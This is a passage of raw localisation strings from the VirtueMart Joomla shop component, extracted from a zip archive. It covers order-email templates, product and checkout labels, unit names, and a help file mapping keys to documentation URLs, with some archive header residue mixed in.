      You bought and confirmed an order in %1$s shop online.

      You can check the status of your order by going on your personal account

      " COM_VIRTUEMART_MAIL_SHOPPER_TOTAL_ORDER="

      Your order Total: %1$s

      " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER="Your order number: " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER_LINK="view your order online" COM_VIRTUEMART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password: " COM_VIRTUEMART_MAIL_SKU="SKU" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_C="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_P="[%3$s], Pending order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_R="[%3$s], Refunded order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_S="[%3$s], Shipped order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_X="[%3$s], Cancelled order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_VENDOR_CONTENT="Hello %1$s,
      %2$s confirmed an order with a total of %3$s, his/her order number = %4$s" COM_VIRTUEMART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
      %1$s" COM_VIRTUEMART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_MEDIA_ENLARGE="enlarge" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_PAGE="Manufacturer Page" COM_VIRTUEMART_MF_NAME="Manufacturer name" COM_VIRTUEMART_MIGRATION_WARN_VM1_EXTENSIONS="Attention: You have still old vm extensions in your joomla installation active, uninstall or disable them" ;todo legacy will be removed COM_VIRTUEMART_MINICART_ERROR_JS="There was an error while updating your cart." COM_VIRTUEMART_MODIFIED_ON="modified" COM_VIRTUEMART_MORE_REVIEWS="More reviews" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ORDER_CONFIRMED="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_NEW_SHOPPER="A new shopper %s registered" COM_VIRTUEMART_NEW_SHOPPER_SUBJECT="Your registration %s at %s" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NO_IMAGE_FOUND="No image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED="No payment method has been configurated %1$s" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_NO_PAYMENT_PLUGIN="The Payment method didn't find the used payment plugin" COM_VIRTUEMART_NO_RESULT="No result" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SHIPMENT_PLUGIN="The Shipment method didn't find the used shipment plugin" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED="No shipment method has been configurated %1$s" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use %1$s to easily get access to your order history, or use %2$s" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" COM_VIRTUEMART_ORDER_ANONYMOUS="Track My Order" COM_VIRTUEMART_ORDER_BUTTON_VIEW="See Order" COM_VIRTUEMART_ORDER_COMMENT="Comment" COM_VIRTUEMART_ORDER_CONFIRM_MNU="Confirm Purchase" COM_VIRTUEMART_ORDER_CONNECT_FORM="When you are already registered, please login directly here" COM_VIRTUEMART_ORDER_FORGOT_YOUR_PASSWORD="Forgot your password?" COM_VIRTUEMART_ORDER_FORGOT_YOUR_USERNAME="Forgot your username?" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_PRINT_PRODUCT_PRICES_TOTAL="Product prices result" COM_VIRTUEMART_ORDER_PROCESSED="Your order has been processed." COM_VIRTUEMART_ORDER_REGISTER="Create an account" COM_VIRTUEMART_ORDER_REGISTER_GUEST_CHECKOUT="Checkout" COM_VIRTUEMART_PASSWORD="Password" COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_INVOICE="Payment method is preventing VirtueMart to create an invoice." COM_VIRTUEMART_PAYMENT_USER_CANCEL="Payment cancelled by user" COM_VIRTUEMART_PDF="PDF" COM_VIRTUEMART_PDF_CREATOR="VirtueMart 2, using the TCPDF library" COM_VIRTUEMART_PDF_SAMPLEPAGE="

      Invoice Header/Footer Sample Page

      This page shows how the page header and footer of the VirtueMart invoices will look like.

      " COM_VIRTUEMART_PKEY="Primary Keys" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee: " COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRODUCT_ADDED_SUCCESSFULLY="Product successfully added" COM_VIRTUEMART_PRODUCT_ADD_PRODUCT="Add a product" COM_VIRTUEMART_PRODUCT_ASKPRICE="Call for price" COM_VIRTUEMART_PRODUCT_ASK_QUESTION="Ask a question" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price: " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant: " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax: " COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS="Product details" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer: " COM_VIRTUEMART_PRODUCT_DETAILS_SHORT_DESC_LBL="Short description" COM_VIRTUEMART_PRODUCT_DETAILS_TITLE="Product details %1$s" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Vendor:" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount: " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount: " COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the costprice with the desired final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_CREATION_DATE="Creation Date" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor Status" COM_VIRTUEMART_PRODUCT_FROM_MF="View all %s Products " COM_VIRTUEMART_PRODUCT_HEIGHT="Product Heigth" COM_VIRTUEMART_PRODUCT_ID="Product ID" COM_VIRTUEMART_PRODUCT_IN_STOCK="product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOT_ADDED_SUCCESSFULLY="Product not successfully added" COM_VIRTUEMART_PRODUCT_NOT_FOUND="404 The requested product does not exist." COM_VIRTUEMART_PRODUCT_NOT_REMOVED_SUCCESSFULLY="Product not successfully removed" COM_VIRTUEMART_PRODUCT_NOT_UPDATED_SUCCESSFULLY="Product quantity not successfully updated" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING1="Number {unit}s in packaging: " COM_VIRTUEMART_PRODUCT_PACKAGING2="Number {unit}s in box:" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_RECOMMEND="Recommend to a friend" COM_VIRTUEMART_PRODUCT_REMOVED_SUCCESSFULLY="Product successfully removed" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount: " COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount: " COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_UNITPRICE="Price / %s: " COM_VIRTUEMART_PRODUCT_UNITS_IN_BOX="Units in box: " COM_VIRTUEMART_PRODUCT_UPDATED_SUCCESSFULLY="Product quantity successfully updated" COM_VIRTUEMART_PRODUCT_VARIANT_MOD="Variant price modifier: " COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Measure" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_QUESTION_ABOUT="Question About " COM_VIRTUEMART_QUESTION_MAIL_FROM="A question was asked by %s (%s)" COM_VIRTUEMART_QUESTION_MAIL_PRODUCT="A question was asked about %s" COM_VIRTUEMART_RATING="Rating: " COM_VIRTUEMART_RATING_EMAIL_SUBJECT="New review for the product %s" COM_VIRTUEMART_RATING_EMAIL_BODY="A new review has been submitted for the product %s." COM_VIRTUEMART_RATING_FIRST_RATE="First: Rate the product. Please select a rating between 0 (poorest) and 5 stars (best)." COM_VIRTUEMART_RATING_NOT_SAVED_SUCCESSFULLY="Rating not saved" COM_VIRTUEMART_RATING_SAVED_SUCCESSFULLY="Rating saved" COM_VIRTUEMART_RATING_TITLE="Rating: " COM_VIRTUEMART_RECENT_PRODUCT="Recently Viewed Products" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_RECOMMEND_COMMENT="Hi! I found this on %s and thought you might like it! Check it out now!" COM_VIRTUEMART_RECOMMEND_NAME="Your Name" COM_VIRTUEMART_RECOMMEND_EMAIL="Friend's Email" COM_VIRTUEMART_RECOMMEND_MAIL_BODY="%s recommend you %s out of our online shop" COM_VIRTUEMART_RECOMMEND_PRODUCT="%s recommends you: %s" COM_VIRTUEMART_RECOMMEND_SUBMIT="Send recommendation" COM_VIRTUEMART_RECOMMEND_THANK_YOU="Thank you for recommending the product." COM_VIRTUEMART_REGISTER="Register" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
      An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_AND_CHECKOUT="Register And Checkout" COM_VIRTUEMART_REGISTRATION_DATA="The Registration data" COM_VIRTUEMART_REG_COMPLETE="
      Registration Complete!
      " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
      Registration Completed!

      Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_RESTRICTED_ACCESS="Restricted access!" COM_VIRTUEMART_REVIEW="Review" COM_VIRTUEMART_REVIEWS="Reviews" COM_VIRTUEMART_REVIEW_ALREADYDONE="You already have written a review for this product. Thank you." COM_VIRTUEMART_REVIEW_COMMENT="Now please write a (short) review....(min. %s, max. %s characters) " COM_VIRTUEMART_REVIEW_COUNT="Characters written: " COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_RATE="Please rate the product to complete your review" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Rate" COM_VIRTUEMART_REVIEW_STARS="Stars" COM_VIRTUEMART_REVIEW_SUBMIT="Submit Review" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SEARCH="Search in shop" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="All Manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SET_PRODUCT_TYPE="Choose product type" COM_VIRTUEMART_SHIPMENT_NOT_VALID_FOR_THIS_VENDOR="%s not valid for %d
      " COM_VIRTUEMART_SHOPPER_PAYMENT_FORM_LBL="Payment form" COM_VIRTUEMART_SHOPPER_REGISTRATION_DATA="Your Registration data" COM_VIRTUEMART_SHOPPER_SHIPMENT_FORM_LBL="Shipment form" COM_VIRTUEMART_SHOP_HOME="Shop home" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_TITLE_TIP="Current Stock Level" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_CURRENCY="Currency" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s already exists." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing ! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="Error with the primary key" COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function forbidden for non vendors" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved " COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SUBCATEGORIES="Subcategories" COM_VIRTUEMART_TITLE_TOO_LONG="Title too long %s for database field, allowed 126" COM_VIRTUEMART_TOPTEN_PRODUCT="Top ten Products" COM_VIRTUEMART_TOTAL_VOTES="Total votes" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNRATED="Not Rated Yet" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_URL_NOT_VALID="Url is not valid" COM_VIRTUEMART_URL_TOO_LONG="Url too long %s for database field, allowed 254" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USER_CART_INFO_CREATE_ACCOUNT="Fill in those fields to create an account" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add/Edit shipment address" ;the next one is special, we need it also in the cart, therefore atm in main file COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO="Please agree to the Terms of Service" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES="You agreed to the Terms of Service" COM_VIRTUEMART_USER_FORM_CART_STEP1="Checkout Step 1" COM_VIRTUEMART_USER_FORM_CART_STEP2="Checkout Step 2" COM_VIRTUEMART_USER_FORM_CART_STEP3="Checkout Step 3" COM_VIRTUEMART_USER_FORM_CART_STEP4="Checkout Step 4" COM_VIRTUEMART_USER_FORM_CAPTCHA="If you wish to register an account please complete this additional security panel" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_EXPLAIN="Only in case shipment address is different from billing address,
      click »%s« button below" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL="Add/Edit billing address information" COM_VIRTUEMART_USER_FORM_EMAIL="E-Mail" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_JS="Required field is missing" COM_VIRTUEMART_USER_FORM_NAME="Name" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Ship To" COM_VIRTUEMART_USER_FORM_ST_SAME_AS_BT="Use for the shipto same as billto address" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No shipment addresses." COM_VIRTUEMART_USER_NOT_A_VENDOR="You are not a vendor" COM_VIRTUEMART_USER_STORE_ERROR="Could not store user %s" COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDOR_ASK_QUESTION="You may use this form to contact the shop owner directly from here" COM_VIRTUEMART_VENDOR_CONTACT="Contact" COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_DETAILS="About" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_FORM_MEDIA="Image & Thumb" COM_VIRTUEMART_VENDOR_ID="Vendor ID" COM_VIRTUEMART_VENDOR_LIST="Vendors" COM_VIRTUEMART_VENDOR_MOD="Vendor" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_NEW_SHOPPER_SUBJECT="A new shopper %s registered at your shop %s" COM_VIRTUEMART_VENDOR_REGISTRATION_DATA="The new shopper registration data" COM_VIRTUEMART_VENDOR_TOS="Terms of Services " COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_WELCOME_USER="Welcome %s" COM_VIRTUEMART_WELCOME_VENDOR="Hi vendor %s" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_WRITE_FIRST_REVIEW="Be the first to write a review..." COM_VIRTUEMART_WRITE_REVIEW="Submit Review" COM_VIRTUEMART_WRONG_AMOUNT_ADDED="You can buy this product only in multiples of %s pieces!" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS="Your account details" COM_VIRTUEMART_YOUR_ACCOUNT_REG="Register" COM_VIRTUEMART_YOUR_ADDRESS="Your entered address: " COM_VIRTUEMART_YOUR_DISPLAYED_NAME="your displayed name: " COM_VIRTUEMART_YOUR_LOGINAME="Your Login Name: " COM_VIRTUEMART_YOUR_ORDERS="Your Orders" COM_VIRTUEMART_YOUR_PASSWORD="your password: " ;COM_VIRTUEMART_CART_TOS_LINK_TEXT="Show me the terms of service"PKs>\V(com_virtuemart/language/en-GB/index.htmlnuW+A PKs>\vSr;com_virtuemart/language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" 